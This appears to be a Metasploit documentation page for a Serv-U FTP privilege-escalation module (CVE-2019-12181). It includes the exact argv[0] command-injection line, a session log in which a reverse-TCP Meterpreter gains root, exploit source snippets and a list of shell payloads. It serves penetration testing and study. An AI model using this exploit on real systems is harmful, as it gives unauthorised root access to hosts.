Serv-U FTP Server prepareinstallation Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Serv-U FTP Server prepareinstallation Privilege Escalation
Module: exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
Source code: modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb
Disclosure date: 2019-06-05
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-12181

This module attempts to gain root privileges on systems running Serv-U FTP Server versions prior to 15.1.7. The Serv-U executable is setuid root, and uses ARGV[0] in a call to system(), without validation, when invoked with the -prepareinstallation flag, resulting in command execution with root privileges. This module has been tested successfully on Serv-U FTP Server version 15.1.6 (x64) on Debian 9.6 (x64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > show targets
    ... a list of targets ...
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > set TARGET target-id
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > show options
    ... show and set options ...
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > set SESSION session-id
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module attempts to gain root privileges on systems running Serv-U FTP Server versions prior to 15.1.7.

The Serv-U executable is setuid root, and uses ARGV[0] in a call to system(), without validation, when invoked with the -prepareinstallation flag, resulting in command execution with root privileges.

Vulnerable Application


Serv-U FTP Server is an FTP server for Linux and Windows; however, this module targets only Linux systems.

This module has been tested successfully on:

  • Serv-U FTP Server version 15.1.6 (x64) on Debian 9.6 (x64)

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
  4. set SESSION [SESSION]
  5. check
  6. run
  7. You should get a new root session

Options


SERVU_PATH

Path to Serv-U executable (default: /usr/local/Serv-U/Serv-U)

WritableDir

A writable directory file system path. (default: /tmp)

Scenarios


Debian 9.6 (x64)

  msf5 exploit(multi/handler) > back
  msf5 > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc 
  msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [+] bash shell is available
  [+] /usr/local/Serv-U/Serv-U is executable
  [+] /usr/local/Serv-U/Serv-U is setuid
  [*] Writing '/tmp/.24HnCiwSby' (277 bytes) ...
  [*] Executing command: bash -c 'exec -a "\";chown root /tmp/.24HnCiwSby;chmod u+s /tmp/.24HnCiwSby;chmod +x /tmp/.24HnCiwSby\"" /usr/local/Serv-U/Serv-U -prepareinstallation'
  [+] /tmp/.24HnCiwSby setuid root successfully
  [*] Executing payload...
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (985320 bytes) to 172.16.191.250

  [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.250:58662) at 2019-06-28 23:46:48 -0400
  [-] Failed to delete /tmp/.24HnCiwSby: stdapi_fs_delete_file: Operation failed: 1

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc

[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show info

       Name: Serv-U FTP Server prepareinstallation Privilege Escalation
     Module: exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-05

Provided by:
  Guy Levin
  bcoles <[email protected]>

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name        Current Setting           Required  Description
  ----        ---------------           --------  -----------
  SERVU_PATH  /usr/local/Serv-U/Serv-U  yes       Path to Serv-U executable
  SESSION                               yes       The session to run this module on.

Payload information:

Description:
  This module attempts to gain root privileges on systems running 
  Serv-U FTP Server versions prior to 15.1.7. The `Serv-U` executable 
  is setuid `root`, and uses `ARGV[0]` in a call to `system()`, 
  without validation, when invoked with the `-prepareinstallation` 
  flag, resulting in command execution with root privileges. This 
  module has been tested successfully on Serv-U FTP Server version 
  15.1.6 (x64) on Debian 9.6 (x64).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-12181
  https://www.exploit-db.com/exploits/47009
  https://packetstormsecurity.com/files/153333
  https://github.com/guywhataguy/CVE-2019-12181
  https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181
  https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html
  https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm
  https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems

Module Options


This is a complete list of options available in the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:

msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show options

Module options (exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc):

   Name        Current Setting           Required  Description
   ----        ---------------           --------  -----------
   SERVU_PATH  /usr/local/Serv-U/Serv-U  yes       Path to Serv-U executable
   SESSION                               yes       The session to run this module on.

Payload options (linux/aarch64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:

msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show advanced

Module advanced options (exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                30               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/servu_ftp_server_prepareinstallation_priv_esc module can exploit:

msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:

msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                               Disclosure Date  Rank    Check  Description
   -   ----                                               ---------------  ----    -----  -----------
   0   payload/generic/custom                                              normal  No     Custom Payload
   1   payload/generic/debug_trap                                          normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                      normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                   normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                          normal  No     Generic x86 Tight Loop
   5   payload/linux/aarch64/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   6   payload/linux/aarch64/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/aarch64/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/aarch64/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/aarch64/shell/reverse_tcp                             normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   10  payload/linux/aarch64/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   11  payload/linux/armle/exec                                            normal  No     Linux Execute Command
   12  payload/linux/armle/meterpreter/bind_tcp                            normal  No     Linux Meterpreter, Bind TCP Stager
   13  payload/linux/armle/meterpreter/reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Stager
   14  payload/linux/armle/meterpreter_reverse_http                        normal  No     Linux Meterpreter, Reverse HTTP Inline
   15  payload/linux/armle/meterpreter_reverse_https                       normal  No     Linux Meterpreter, Reverse HTTPS Inline
   16  payload/linux/armle/meterpreter_reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Inline
   17  payload/linux/armle/shell/bind_tcp                                  normal  No     Linux dup2 Command Shell, Bind TCP Stager
   18  payload/linux/armle/shell/reverse_tcp                               normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   19  payload/linux/armle/shell_bind_tcp                                  normal  No     Linux Command Shell, Reverse TCP Inline
   20  payload/linux/armle/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/mipsbe/exec                                           normal  No     Linux Execute Command
   22  payload/linux/mipsbe/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   23  payload/linux/mipsbe/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   24  payload/linux/mipsbe/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   25  payload/linux/mipsbe/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   26  payload/linux/mipsbe/reboot                                         normal  No     Linux Reboot
   27  payload/linux/mipsbe/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/mipsbe/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   29  payload/linux/mipsbe/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   30  payload/linux/mipsle/exec                                           normal  No     Linux Execute Command
   31  payload/linux/mipsle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   32  payload/linux/mipsle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/mipsle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/mipsle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/mipsle/reboot                                         normal  No     Linux Reboot
   36  payload/linux/mipsle/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   37  payload/linux/mipsle/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   38  payload/linux/mipsle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   39  payload/linux/ppc/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   40  payload/linux/ppc/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   41  payload/linux/ppc/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   42  payload/linux/ppc/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   43  payload/linux/ppc/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   44  payload/linux/ppc64/shell_bind_tcp                                  normal  No     Linux Command Shell, Bind TCP Inline
   45  payload/linux/ppc64/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   46  payload/linux/ppc64le/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   47  payload/linux/ppc64le/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   48  payload/linux/ppc64le/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   49  payload/linux/ppce500v2/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   50  payload/linux/ppce500v2/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   51  payload/linux/ppce500v2/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   52  payload/linux/x64/exec                                              normal  No     Linux Execute Command
   53  payload/linux/x64/meterpreter/bind_tcp                              normal  No     Linux Mettle x64, Bind TCP Stager
   54  payload/linux/x64/meterpreter/reverse_tcp                           normal  No     Linux Mettle x64, Reverse TCP Stager
   55  payload/linux/x64/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   56  payload/linux/x64/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   57  payload/linux/x64/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   58  payload/linux/x64/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager
   59  payload/linux/x64/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   60  payload/linux/x64/shell_bind_ipv6_tcp                               normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   61  payload/linux/x64/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   62  payload/linux/x64/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   63  payload/linux/x64/shell_reverse_ipv6_tcp                            normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   64  payload/linux/x64/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   65  payload/linux/x86/chmod                                             normal  No     Linux Chmod
   66  payload/linux/x86/exec                                              normal  No     Linux Execute Command
   67  payload/linux/x86/meterpreter/bind_ipv6_tcp                         normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   68  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                    normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   69  payload/linux/x86/meterpreter/bind_nonx_tcp                         normal  No     Linux Mettle x86, Bind TCP Stager
   70  payload/linux/x86/meterpreter/bind_tcp                              normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   71  payload/linux/x86/meterpreter/bind_tcp_uuid                         normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   72  payload/linux/x86/meterpreter/reverse_ipv6_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   73  payload/linux/x86/meterpreter/reverse_nonx_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager
   74  payload/linux/x86/meterpreter/reverse_tcp                           normal  No     Linux Mettle x86, Reverse TCP Stager
   75  payload/linux/x86/meterpreter/reverse_tcp_uuid                      normal  No     Linux Mettle x86, Reverse TCP Stager
   76  payload/linux/x86/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   77  payload/linux/x86/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   78  payload/linux/x86/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   79  payload/linux/x86/metsvc_bind_tcp                                   normal  No     Linux Meterpreter Service, Bind TCP
   80  payload/linux/x86/metsvc_reverse_tcp                                normal  No     Linux Meterpreter Service, Reverse TCP Inline
   81  payload/linux/x86/read_file                                         normal  No     Linux Read File
   82  payload/linux/x86/shell/bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   83  payload/linux/x86/shell/bind_ipv6_tcp_uuid                          normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   84  payload/linux/x86/shell/bind_nonx_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   85  payload/linux/x86/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   86  payload/linux/x86/shell/bind_tcp_uuid                               normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   87  payload/linux/x86/shell/reverse_ipv6_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   88  payload/linux/x86/shell/reverse_nonx_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   89  payload/linux/x86/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   90  payload/linux/x86/shell/reverse_tcp_uuid                            normal  No     Linux Command Shell, Reverse TCP Stager
   91  payload/linux/x86/shell_bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   92  payload/linux/x86/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   93  payload/linux/x86/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   94  payload/linux/x86/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   95  payload/linux/x86/shell_reverse_tcp_ipv6                            normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

bash shell is not available


Here is a relevant code snippet related to the "bash shell is not available" error message:

100:	    chmod path
101:	  end
102:	
103:	  def check
104:	    unless command_exists? 'bash'
105:	      vprint_error 'bash shell is not available'
106:	      return CheckCode::Safe
107:	    end
108:	    vprint_good 'bash shell is available'
109:	
110:	    unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'

<SERVU_PATH> is not executable


Here is a relevant code snippet related to the "<SERVU_PATH> is not executable" error message:

106:	      return CheckCode::Safe
107:	    end
108:	    vprint_good 'bash shell is available'
109:	
110:	    unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
111:	      vprint_error "#{servu_path} is not executable"
112:	      return CheckCode::Safe
113:	    end
114:	    vprint_good "#{servu_path} is executable"
115:	
116:	    unless setuid? servu_path

<SERVU_PATH> is not setuid


Here is a relevant code snippet related to the "<SERVU_PATH> is not setuid" error message:

112:	      return CheckCode::Safe
113:	    end
114:	    vprint_good "#{servu_path} is executable"
115:	
116:	    unless setuid? servu_path
117:	      vprint_error "#{servu_path} is not setuid"
118:	      return CheckCode::Safe
119:	    end
120:	    vprint_good "#{servu_path} is setuid"
121:	
122:	    CheckCode::Detected

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

123:	  end
124:	
125:	  def exploit
126:	    if is_root?
127:	      unless datastore['ForceExploit']
128:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
129:	      end
130:	    end
131:	
132:	    unless writable? base_dir
133:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

128:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
129:	      end
130:	    end
131:	
132:	    unless writable? base_dir
133:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
134:	    end
135:	
136:	    if nosuid? base_dir
137:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
138:	    end

<BASE_DIR> is mounted nosuid


Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:

132:	    unless writable? base_dir
133:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
134:	    end
135:	
136:	    if nosuid? base_dir
137:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
138:	    end
139:	
140:	    payload_name = ".#{rand_text_alphanumeric 10..15}"
141:	    @payload_path = "#{base_dir}/#{payload_name}"
142:	    upload_and_chmodx @payload_path, generate_payload_exe

Failed to set payload setuid root


Here is a relevant code snippet related to the "Failed to set payload setuid root" error message:

145:	    cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
146:	    vprint_status "Executing command: #{cmd}"
147:	    cmd_exec cmd
148:	
149:	    unless setuid? @payload_path
150:	      fail_with Failure::Unknown, 'Failed to set payload setuid root'
151:	    end
152:	    print_good "#{@payload_path} setuid root successfully"
153:	
154:	    print_status 'Executing payload...'
155:	    res = cmd_exec "#{@payload_path} &"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Guy Levin
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.